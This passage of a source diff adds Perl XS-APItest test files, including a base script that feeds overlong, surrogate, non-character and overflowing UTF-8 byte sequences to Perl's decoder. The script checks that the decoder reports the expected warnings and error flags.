+ "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1\xC3\xA8abc",
+ "Kelimelerin m\xC3\xAAme caract\xC3re ve yazi\xC3\xA8abc",
+ "Kelimelerin m\xC3\xAAme caract\xA8 ve yazi\xC3\xA8abc",
+ "Kelimelerin m\xC3\xAAme caract\xC3\xA8\xC3re ve yazi\xC3\xA8abc",
+);
+
+for my $test (@well_formed) {
+ my $utf8 = $test;
+ utf8::upgrade($utf8);
+ my $utf8_length;
+ my $byte_length = length $test;
+
+ {
+ use bytes;
+ $utf8_length = length $utf8;
+ }
+
+ my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length);
+
+ is ($ret_ref->[0], $test, "Successfully downgraded "
+ . display_bytes($utf8));
+ is ($ret_ref->[1], $byte_length, "... And returned correct length("
+ . $byte_length . ")");
+}
+
+for my $test (@malformed) {
+ my $utf8 = $test;
+ my $utf8_length = length $test;
+
+ my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length);
+
+ ok (! defined $ret_ref->[0], "Returned undef for malformed "
+ . display_bytes($utf8));
+ is ($ret_ref->[1], -1, "... And returned length -1");
+ is ($ret_ref->[2], $utf8, "... And left the input unchanged");
+}
+
+done_testing();
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn00.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn00.t
new file mode 100644
index 00000000000..3f91bf5a4e9
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn00.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 0;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn01.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn01.t
new file mode 100644
index 00000000000..beb4faf634c
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn01.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 1;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn02.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn02.t
new file mode 100644
index 00000000000..d6d3e7a73dc
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn02.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 2;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn03.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn03.t
new file mode 100644
index 00000000000..ae0da886c94
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn03.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 3;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn04.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn04.t
new file mode 100644
index 00000000000..52e82508510
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn04.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 4;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn05.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn05.t
new file mode 100644
index 00000000000..94f8f0cd458
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn05.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 5;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn06.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn06.t
new file mode 100644
index 00000000000..5995db6906b
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn06.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 6;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn07.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn07.t
new file mode 100644
index 00000000000..27dc96bc2f4
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn07.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 7;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn08.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn08.t
new file mode 100644
index 00000000000..01de3b67a3f
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn08.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 8;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn09.t b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn09.t
new file mode 100644
index 00000000000..aa4c42f9120
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn09.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 9;
+
+do './t/utf8_warn_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn_base.pl b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn_base.pl
new file mode 100644
index 00000000000..0c9e20b9cac
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn_base.pl
@@ -0,0 +1,1880 @@
+#!perl -w
+
+# This is a base file to be used by various .t's in its directory
+# It tests various malformed UTF-8 sequences and some code points that are
+# "problematic", and verifies that the correct warnings/flags etc are
+# generated when using them. For the code points, it also takes the UTF-8 and
+# perturbs it to be malformed in various ways, and tests that this gets
+# appropriately detected.
+
+use strict;
+use Test::More;
+
+BEGIN {
+ use_ok('XS::APItest');
+ require 'charset_tools.pl';
+ require './t/utf8_setup.pl';
+};
+
+$|=1;
+
+use XS::APItest;
+
+my @warnings_gotten;
+
+use warnings 'utf8';
+local $SIG{__WARN__} = sub { my @copy = @_;
+ push @warnings_gotten, map { chomp; $_ } @copy;
+ };
+
+my $highest_non_extended_utf8_cp = (isASCII) ? 0x7FFFFFFF : 0x3FFFFFFF;
+my $native_lowest_continuation_chr = I8_to_native(chr $::lowest_continuation);
+
+# C5 is chosen as it is valid for both ASCII and EBCDIC platforms
+my $known_start_byte = I8_to_native("\xC5");
+
+sub requires_extended_utf8($) {
+
+ # Returns a boolean as to whether or not the code point parameter fits
+ # into 31 bits, subject to the convention that a negative code point
+ # stands for one that overflows the word size, so won't fit in 31 bits.
+
+ return shift > $highest_non_extended_utf8_cp;
+}
+
+sub is_extended_utf8($) {
+
+ # Returns a boolean as to whether or not the input UTF-8 sequence uses
+ # Perl extended UTF-8.
+
+ my $byte = substr(shift, 0, 1);
+ return ord $byte >= 0xFE if isASCII;
+ return $byte == I8_to_native("\xFF");
+}
+
+sub overflow_discern_len($) {
+
+ # Returns how many bytes are needed to tell if a non-overlong UTF-8
+ # sequence is for a code point that won't fit in the platform's word size.
+ # Only the length of the sequence representing a single code point is
+ # needed.
+
+ if (isASCII) {
+ return ($::is64bit) ? 3 : 1;
+
+ # Below is needed for code points above IV_MAX
+ #return ($::is64bit) ? 3 : ((shift == $::max_bytes)
+ # ? 1
+ # : 2);
+ }
+
+ return ($::is64bit) ? 2 : 8;
+}
+
+sub overlong_discern_len($) {
+
+ # Returns how many bytes are needed to tell if the input UTF-8 sequence
+ # for a code point is overlong
+
+ my $string = shift;
+ my $length = length $string;
+ my $byte = ord native_to_I8(substr($string, 0, 1));
+ if (isASCII) {
+ return ($byte >= 0xFE)
+ ? ((! $::is64bit)
+ ? 1
+ : ($byte == 0xFF) ? 7 : 2)
+ : (($length == 2) ? 1 : 2);
+ # Below is needed for code points above IV_MAX
+ #return ($length == $::max_bytes)
+ # # This is constrained to 1 on 32-bit machines, as it
+ # # overflows there
+ # ? (($::is64bit) ? 7 : 1)
+ # : (($length == 2) ? 1 : 2);
+ }
+
+ return ($length == $::max_bytes) ? 8 : (($length <= 3) ? 1 : 2);
+}
+
+my @tests;
+{
+ no warnings qw(portable overflow);
+ @tests = (
+ # $testname,
+ # $bytes, UTF-8 string
+ # $allowed_uv, code point $bytes evaluates to; -1 if
+ # overflows
+ # $needed_to_discern_len optional, how long an initial substring do
+ # we need to tell that the string must be for
+ # a code point in the category it falls in,
+ # like being a surrogate; 0 indicates we need
+ # the whole string. Some categories have a
+ # default that is used if this is omitted.
+ [ "orphan continuation byte malformation",
+ I8_to_native("$::I8c"),
+ 0xFFFD,
+ 1,
+ ],
+ [ "overlong malformation, lowest 2-byte",
+ (isASCII) ? "\xc0\x80" : I8_to_native("\xc0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 2-byte",
+ (isASCII) ? "\xc1\xbf" : I8_to_native("\xc4\xbf"),
+ (isASCII) ? 0x7F : 0xFF,
+ ],
+ [ "overlong malformation, lowest 3-byte",
+ (isASCII) ? "\xe0\x80\x80" : I8_to_native("\xe0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 3-byte",
+ (isASCII) ? "\xe0\x9f\xbf" : I8_to_native("\xe0\xbf\xbf"),
+ (isASCII) ? 0x7FF : 0x3FF,
+ ],
+ [ "lowest surrogate",
+ (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"),
+ 0xD800,
+ ],
+ [ "a middle surrogate",
+ (isASCII) ? "\xed\xa4\x8d" : I8_to_native("\xf1\xb6\xa8\xad"),
+ 0xD90D,
+ ],
+ [ "highest surrogate",
+ (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"),
+ 0xDFFF,
+ ],
+ [ "first of 32 consecutive non-character code points",
+ (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"),
+ 0xFDD0,
+ ],
+ [ "a mid non-character code point of the 32 consecutive ones",
+ (isASCII) ? "\xef\xb7\xa0" : I8_to_native("\xf1\xbf\xaf\xa0"),
+ 0xFDE0,
+ ],
+ [ "final of 32 consecutive non-character code points",
+ (isASCII) ? "\xef\xb7\xaf" : I8_to_native("\xf1\xbf\xaf\xaf"),
+ 0xFDEF,
+ ],
+ [ "non-character code point U+FFFE",
+ (isASCII) ? "\xef\xbf\xbe" : I8_to_native("\xf1\xbf\xbf\xbe"),
+ 0xFFFE,
+ ],
+ [ "non-character code point U+FFFF",
+ (isASCII) ? "\xef\xbf\xbf" : I8_to_native("\xf1\xbf\xbf\xbf"),
+ 0xFFFF,
+ ],
+ [ "overlong malformation, lowest 4-byte",
+ (isASCII) ? "\xf0\x80\x80\x80" : I8_to_native("\xf0\xa0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 4-byte",
+ (isASCII) ? "\xf0\x8F\xbf\xbf" : I8_to_native("\xf0\xaf\xbf\xbf"),
+ (isASCII) ? 0xFFFF : 0x3FFF,
+ ],
+ [ "non-character code point U+1FFFE",
+ (isASCII) ? "\xf0\x9f\xbf\xbe" : I8_to_native("\xf3\xbf\xbf\xbe"),
+ 0x1FFFE,
+ ],
+ [ "non-character code point U+1FFFF",
+ (isASCII) ? "\xf0\x9f\xbf\xbf" : I8_to_native("\xf3\xbf\xbf\xbf"),
+ 0x1FFFF,
+ ],
+ [ "non-character code point U+2FFFE",
+ (isASCII) ? "\xf0\xaf\xbf\xbe" : I8_to_native("\xf5\xbf\xbf\xbe"),
+ 0x2FFFE,
+ ],
+ [ "non-character code point U+2FFFF",
+ (isASCII) ? "\xf0\xaf\xbf\xbf" : I8_to_native("\xf5\xbf\xbf\xbf"),
+ 0x2FFFF,
+ ],
+ [ "non-character code point U+3FFFE",
+ (isASCII) ? "\xf0\xbf\xbf\xbe" : I8_to_native("\xf7\xbf\xbf\xbe"),
+ 0x3FFFE,
+ ],
+ [ "non-character code point U+3FFFF",
+ (isASCII) ? "\xf0\xbf\xbf\xbf" : I8_to_native("\xf7\xbf\xbf\xbf"),
+ 0x3FFFF,
+ ],
+ [ "non-character code point U+4FFFE",
+ (isASCII)
+ ? "\xf1\x8f\xbf\xbe"
+ : I8_to_native("\xf8\xa9\xbf\xbf\xbe"),
+ 0x4FFFE,
+ ],
+ [ "non-character code point U+4FFFF",
+ (isASCII)
+ ? "\xf1\x8f\xbf\xbf"
+ : I8_to_native("\xf8\xa9\xbf\xbf\xbf"),
+ 0x4FFFF,
+ ],
+ [ "non-character code point U+5FFFE",
+ (isASCII)
+ ? "\xf1\x9f\xbf\xbe"
+ : I8_to_native("\xf8\xab\xbf\xbf\xbe"),
+ 0x5FFFE,
+ ],
+ [ "non-character code point U+5FFFF",
+ (isASCII)
+ ? "\xf1\x9f\xbf\xbf"
+ : I8_to_native("\xf8\xab\xbf\xbf\xbf"),
+ 0x5FFFF,
+ ],
+ [ "non-character code point U+6FFFE",
+ (isASCII)
+ ? "\xf1\xaf\xbf\xbe"
+ : I8_to_native("\xf8\xad\xbf\xbf\xbe"),
+ 0x6FFFE,
+ ],
+ [ "non-character code point U+6FFFF",
+ (isASCII)
+ ? "\xf1\xaf\xbf\xbf"
+ : I8_to_native("\xf8\xad\xbf\xbf\xbf"),
+ 0x6FFFF,
+ ],
+ [ "non-character code point U+7FFFE",
+ (isASCII)
+ ? "\xf1\xbf\xbf\xbe"
+ : I8_to_native("\xf8\xaf\xbf\xbf\xbe"),
+ 0x7FFFE,
+ ],
+ [ "non-character code point U+7FFFF",
+ (isASCII)
+ ? "\xf1\xbf\xbf\xbf"
+ : I8_to_native("\xf8\xaf\xbf\xbf\xbf"),
+ 0x7FFFF,
+ ],
+ [ "non-character code point U+8FFFE",
+ (isASCII)
+ ? "\xf2\x8f\xbf\xbe"
+ : I8_to_native("\xf8\xb1\xbf\xbf\xbe"),
+ 0x8FFFE,
+ ],
+ [ "non-character code point U+8FFFF",
+ (isASCII)
+ ? "\xf2\x8f\xbf\xbf"
+ : I8_to_native("\xf8\xb1\xbf\xbf\xbf"),
+ 0x8FFFF,
+ ],
+ [ "non-character code point U+9FFFE",
+ (isASCII)
+ ? "\xf2\x9f\xbf\xbe"
+ : I8_to_native("\xf8\xb3\xbf\xbf\xbe"),
+ 0x9FFFE,
+ ],
+ [ "non-character code point U+9FFFF",
+ (isASCII)
+ ? "\xf2\x9f\xbf\xbf"
+ : I8_to_native("\xf8\xb3\xbf\xbf\xbf"),
+ 0x9FFFF,
+ ],
+ [ "non-character code point U+AFFFE",
+ (isASCII)
+ ? "\xf2\xaf\xbf\xbe"
+ : I8_to_native("\xf8\xb5\xbf\xbf\xbe"),
+ 0xAFFFE,
+ ],
+ [ "non-character code point U+AFFFF",
+ (isASCII)
+ ? "\xf2\xaf\xbf\xbf"
+ : I8_to_native("\xf8\xb5\xbf\xbf\xbf"),
+ 0xAFFFF,
+ ],
+ [ "non-character code point U+BFFFE",
+ (isASCII)
+ ? "\xf2\xbf\xbf\xbe"
+ : I8_to_native("\xf8\xb7\xbf\xbf\xbe"),
+ 0xBFFFE,
+ ],
+ [ "non-character code point U+BFFFF",
+ (isASCII)
+ ? "\xf2\xbf\xbf\xbf"
+ : I8_to_native("\xf8\xb7\xbf\xbf\xbf"),
+ 0xBFFFF,
+ ],
+ [ "non-character code point U+CFFFE",
+ (isASCII)
+ ? "\xf3\x8f\xbf\xbe"
+ : I8_to_native("\xf8\xb9\xbf\xbf\xbe"),
+ 0xCFFFE,
+ ],
+ [ "non-character code point U+CFFFF",
+ (isASCII)
+ ? "\xf3\x8f\xbf\xbf"
+ : I8_to_native("\xf8\xb9\xbf\xbf\xbf"),
+ 0xCFFFF,
+ ],
+ [ "non-character code point U+DFFFE",
+ (isASCII)
+ ? "\xf3\x9f\xbf\xbe"
+ : I8_to_native("\xf8\xbb\xbf\xbf\xbe"),
+ 0xDFFFE,
+ ],
+ [ "non-character code point U+DFFFF",
+ (isASCII)
+ ? "\xf3\x9f\xbf\xbf"
+ : I8_to_native("\xf8\xbb\xbf\xbf\xbf"),
+ 0xDFFFF,
+ ],
+ [ "non-character code point U+EFFFE",
+ (isASCII)
+ ? "\xf3\xaf\xbf\xbe"
+ : I8_to_native("\xf8\xbd\xbf\xbf\xbe"),
+ 0xEFFFE,
+ ],
+ [ "non-character code point U+EFFFF",
+ (isASCII)
+ ? "\xf3\xaf\xbf\xbf"
+ : I8_to_native("\xf8\xbd\xbf\xbf\xbf"),
+ 0xEFFFF,
+ ],
+ [ "non-character code point U+FFFFE",
+ (isASCII)
+ ? "\xf3\xbf\xbf\xbe"
+ : I8_to_native("\xf8\xbf\xbf\xbf\xbe"),
+ 0xFFFFE,
+ ],
+ [ "non-character code point U+FFFFF",
+ (isASCII)
+ ? "\xf3\xbf\xbf\xbf"
+ : I8_to_native("\xf8\xbf\xbf\xbf\xbf"),
+ 0xFFFFF,
+ ],
+ [ "non-character code point U+10FFFE",
+ (isASCII)
+ ? "\xf4\x8f\xbf\xbe"
+ : I8_to_native("\xf9\xa1\xbf\xbf\xbe"),
+ 0x10FFFE,
+ ],
+ [ "non-character code point U+10FFFF",
+ (isASCII)
+ ? "\xf4\x8f\xbf\xbf"
+ : I8_to_native("\xf9\xa1\xbf\xbf\xbf"),
+ 0x10FFFF,
+ ],
+ [ "first non_unicode",
+ (isASCII)
+ ? "\xf4\x90\x80\x80"
+ : I8_to_native("\xf9\xa2\xa0\xa0\xa0"),
+ 0x110000,
+ 2,
+ ],
+ [ "non_unicode whose first byte tells that",
+ (isASCII)
+ ? "\xf5\x80\x80\x80"
+ : I8_to_native("\xfa\xa0\xa0\xa0\xa0"),
+ (isASCII) ? 0x140000 : 0x200000,
+ 1,
+ ],
+ [ "overlong malformation, lowest 5-byte",
+ (isASCII)
+ ? "\xf8\x80\x80\x80\x80"
+ : I8_to_native("\xf8\xa0\xa0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 5-byte",
+ (isASCII)
+ ? "\xf8\x87\xbf\xbf\xbf"
+ : I8_to_native("\xf8\xa7\xbf\xbf\xbf"),
+ (isASCII) ? 0x1FFFFF : 0x3FFFF,
+ ],
+ [ "overlong malformation, lowest 6-byte",
+ (isASCII)
+ ? "\xfc\x80\x80\x80\x80\x80"
+ : I8_to_native("\xfc\xa0\xa0\xa0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 6-byte",
+ (isASCII)
+ ? "\xfc\x83\xbf\xbf\xbf\xbf"
+ : I8_to_native("\xfc\xa3\xbf\xbf\xbf\xbf"),
+ (isASCII) ? 0x3FFFFFF : 0x3FFFFF,
+ ],
+ [ "overlong malformation, lowest 7-byte",
+ (isASCII)
+ ? "\xfe\x80\x80\x80\x80\x80\x80"
+ : I8_to_native("\xfe\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest 7-byte",
+ (isASCII)
+ ? "\xfe\x81\xbf\xbf\xbf\xbf\xbf"
+ : I8_to_native("\xfe\xa1\xbf\xbf\xbf\xbf\xbf"),
+ (isASCII) ? 0x7FFFFFFF : 0x3FFFFFF,
+ ],
+ [ "highest 31 bit code point",
+ (isASCII)
+ ? "\xfd\xbf\xbf\xbf\xbf\xbf"
+ : I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa1\xbf\xbf\xbf\xbf\xbf\xbf"),
+ 0x7FFFFFFF,
+ 1,
+ ],
+ [ "lowest 32 bit code point",
+ (isASCII)
+ ? "\xfe\x82\x80\x80\x80\x80\x80"
+ : I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"),
+ ($::is64bit) ? 0x80000000 : -1, # Overflows on 32-bit systems
+ 1,
+ ],
+ # Used when UV_MAX is allowed as a code point
+ #[ "highest 32 bit code point",
+ # (isASCII)
+ # ? "\xfe\x83\xbf\xbf\xbf\xbf\xbf"
+ # : I8_to_native(
+ # "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"),
+ # 0xFFFFFFFF,
+ #],
+ #[ "Lowest 33 bit code point",
+ # (isASCII)
+ # ? "\xfe\x84\x80\x80\x80\x80\x80"
+ # : I8_to_native(
+ # "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"),
+ # ($::is64bit) ? 0x100000000 : 0x0, # Overflows on 32-bit systems
+ #],
+ );
+
+ if (! $::is64bit) {
+ if (isASCII) {
+ push @tests,
+ [ "overlong malformation, but naively looks like overflow",
+ "\xff\x80\x80\x80\x80\x80\x80\x81\xbf\xbf\xbf\xbf\xbf",
+ 0x7FFFFFFF,
+ ],
+ # Used when above IV_MAX are allowed.
+ #[ "overlong malformation, but naively looks like overflow",
+ # "\xff\x80\x80\x80\x80\x80\x80\x83\xbf\xbf\xbf\xbf\xbf",
+ # 0xFFFFFFFF,
+ #],
+ [ "overflow that old algorithm failed to detect",
+ "\xfe\x86\x80\x80\x80\x80\x80",
+ -1,
+ ];
+ }
+ }
+
+ push @tests,
+ [ "overlong malformation, lowest max-byte",
+ (isASCII)
+ ? "\xff\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+ : I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0, # NUL
+ ],
+ [ "overlong malformation, highest max-byte",
+ (isASCII) # 2**36-1 on ASCII; 2**30-1 on EBCDIC
+ ? "\xff\x80\x80\x80\x80\x80\x80\xbf\xbf\xbf\xbf\xbf\xbf"
+ : I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xbf\xbf\xbf\xbf\xbf\xbf"),
+ (isASCII) ? (($::is64bit) ? 0xFFFFFFFFF : -1) : 0x3FFFFFFF,
+ ];
+
+ if (isASCII) {
+ push @tests,
+ [ "Lowest code point requiring 13 bytes to represent", # 2**36
+ "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80",
+ ($::is64bit) ? 0x1000000000 : -1, # overflows on 32bit
+ ],
+ };
+
+ if ($::is64bit) {
+ push @tests,
+ [ "highest 63 bit code point",
+ (isASCII)
+ ? "\xff\x80\x87\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+ : I8_to_native(
+ "\xff\xa7\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"),
+ 0x7FFFFFFFFFFFFFFF,
+ (isASCII) ? 1 : 2,
+ ],
+ [ "first 64 bit code point",
+ (isASCII)
+ ? "\xff\x80\x88\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+ : I8_to_native(
+ "\xff\xa8\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ -1,
+ ];
+ # Used when UV_MAX is allowed as a code point
+ #[ "highest 64 bit code point",
+ # (isASCII)
+ # ? "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+ # : I8_to_native(
+ # "\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"),
+ # 0xFFFFFFFFFFFFFFFF,
+ # (isASCII) ? 1 : 2,
+ #],
+ #[ "first 65 bit code point",
+ # (isASCII)
+ # ? "\xff\x80\x9f\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+ # : I8_to_native(
+ # "\xff\xb0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ # 0,
+ #];
+ if (isASCII) {
+ push @tests,
+ [ "overflow that old algorithm failed to detect",
+ "\xff\x80\x90\x90\x90\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf",
+ -1,
+ ];
+ }
+ else {
+ push @tests, # These could falsely show wrongly in a naive
+ # implementation
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x800000000,
+ 40000000
+ ],
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x10000000000,
+ ],
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x200000000000,
+ ],
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x4000000000000,
+ ],
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x80000000000000,
+ ],
+ [ "requires at least 32 bits",
+ I8_to_native(
+ "\xff\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+ 0x1000000000000000,
+ ];
+ }
+ }
+}
+
+sub flags_to_text($$)
+{
+ my ($flags, $flags_to_text_ref) = @_;
+
+ # Returns a string containing a mnemonic representation of the bits that
+ # are set in the $flags. These are assumed to be flag bits. The return
+ # looks like "FOO|BAR|BAZ". The second parameter is a reference to an
+ # array that gives the textual representation of all the possible flags.
+ # Element 0 is the text for the bit 0 flag; element 1 for bit 1; .... If
+ # no bits at all are set the string "0" is returned;
+
+ my @flag_text;
+ my $shift = 0;
+
+ return "0" if $flags == 0;
+
+ while ($flags) {
+ #diag sprintf "%x", $flags;
+ if ($flags & 1) {
+ push @flag_text, $flags_to_text_ref->[$shift];
+ }
+ $shift++;
+ $flags >>= 1;
+ }
+
+ return join "|", @flag_text;
+}
+
+# Possible flag returns from utf8n_to_uvchr_error(). These should have G_,
+# instead of A_, D_, but the prefixes will be used in a a later commit, so
+# minimize churn by having them here.
+my @utf8n_flags_to_text = ( qw(
+ A_EMPTY
+ A_CONTINUATION
+ A_NON_CONTINUATION
+ A_SHORT
+ A_LONG
+ A_LONG_AND_ITS_VALUE
+ PLACEHOLDER
+ A_OVERFLOW
+ D_SURROGATE
+ W_SURROGATE
+ D_NONCHAR
+ W_NONCHAR
+ D_SUPER
+ W_SUPER
+ D_PERL_EXTENDED
+ W_PERL_EXTENDED
+ CHECK_ONLY
+ NO_CONFIDENCE_IN_CURLEN_
+ ) );
+
+sub utf8n_display_call($)
+{
+ # Converts an eval string that calls test_utf8n_to_uvchr into a more human
+ # readable form, and returns it. Doesn't work if the byte string contains
+ # an apostrophe. The return will look something like:
+ # test_utf8n_to_uvchr_error('$bytes', $length, $flags)
+ #diag $_[0];
+
+ $_[0] =~ / ^ ( [^(]* \( ) ' ( [^']*? ) ' ( .+ , \D* ) ( \d+ ) \) $ /x;
+ my $text1 = $1; # Everything before the byte string
+ my $bytes = $2;
+ my $text2 = $3; # Includes the length
+ my $flags = $4;
+
+ return $text1
+ . display_bytes($bytes)
+ . $text2
+ . flags_to_text($flags, \@utf8n_flags_to_text)
+ . ')';
+}
+
+my @uvchr_flags_to_text = ( qw(
+ W_SURROGATE
+ W_NONCHAR
+ W_SUPER
+ W_PERL_EXTENDED
+ D_SURROGATE
+ D_NONCHAR
+ D_SUPER
+ D_PERL_EXTENDED
+) );
+
+sub uvchr_display_call($)
+{
+ # Converts an eval string that calls test_uvchr_to_utf8 into a more human
+ # readable form, and returns it. The return will look something like:
+ # test_uvchr_to_utf8n_flags($uv, $flags)
+ #diag $_[0];
+
+
+ $_[0] =~ / ^ ( [^(]* \( ) ( \d+ ) , \s* ( \d+ ) \) $ /x;
+ my $text = $1;
+ my $cp = sprintf "%X", $2;
+ my $flags = $3;
+
+ return "${text}0x$cp, " . flags_to_text($flags, \@uvchr_flags_to_text) . ')';
+}
+
+sub do_warnings_test(@)
+{
+ my @expected_warnings = @_;
+
+ # Compares the input expected warnings array with @warnings_gotten,
+ # generating a pass for each found, removing it from @warnings_gotten.
+ # Any discrepancies generate test failures. Returns TRUE if no
+ # discrepcancies; otherwise FALSE.
+
+ my $succeeded = 1;
+
+ if (@expected_warnings == 0) {
+ if (! is(@warnings_gotten, 0, " Expected and got no warnings")) {
+ output_warnings(@warnings_gotten);
+ $succeeded = 0;
+ }
+ return $succeeded;
+ }
+
+ # Check that we got all the expected warnings,
+ # removing each one found
+ WARNING:
+ foreach my $expected (@expected_warnings) {
+ foreach (my $i = 0; $i < @warnings_gotten; $i++) {
+ if ($warnings_gotten[$i] =~ $expected) {
+ pass(" Expected and got warning: "
+ . " $warnings_gotten[$i]");
+ splice @warnings_gotten, $i, 1;
+ next WARNING;
+ }
+ }
+ fail(" Expected a warning that matches "
+ . $expected . " but didn't get it");
+ $succeeded = 0;
+ }
+
+ if (! is(@warnings_gotten, 0, " Got no unexpected warnings")) {
+ output_warnings(@warnings_gotten);
+ $succeeded = 0;
+ }
+
